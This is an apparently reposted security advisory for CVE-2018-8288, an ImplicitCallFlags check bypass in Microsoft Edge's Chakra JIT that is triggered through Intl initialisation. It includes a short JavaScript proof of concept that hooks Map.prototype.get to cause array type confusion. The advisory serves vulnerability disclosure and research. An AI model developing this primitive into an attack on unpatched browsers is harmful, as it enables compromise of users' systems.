Microsoft Edge Chakra JIT ImplicitCallFlags Check Bypass

Microsoft Edge Chakra JIT suffers from an ImplicitCallFlags check bypass vulnerability with Intl.


MD5 | b06d81dae646fb997c8078d09c0343ba

Download
Microsoft Edge: Chakra: JIT: ImplicitCallFlags check bypass with Intl 

CVE-2018-8288


If the Intl object hasn't been initialized, access to any property of it will trigger the initialization process which will run Intl.js. The problem is that it runs Intl.js without caring about the ImplicitCallFlags flag.

In the PoC, it redefines Map.prototype.get to intercept the execution of Intl.js.

PoC:
function opt(arr, obj) {
    arr[0] = 1.1;
    obj.x;
    arr[0] = 2.3023e-320;
}

let arr = [1.1];
for (let i = 0; i < 0x10000; i++) {
    opt(arr, {});
}

let get = Map.prototype.get;
Map.prototype.get = function (key) {
    Map.prototype.get = get;

    arr[0] = {};

    return this.get(key);
};

opt(arr, Intl);

alert(arr[0]);


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt


Source: packetstormsecurity.com
Related Posts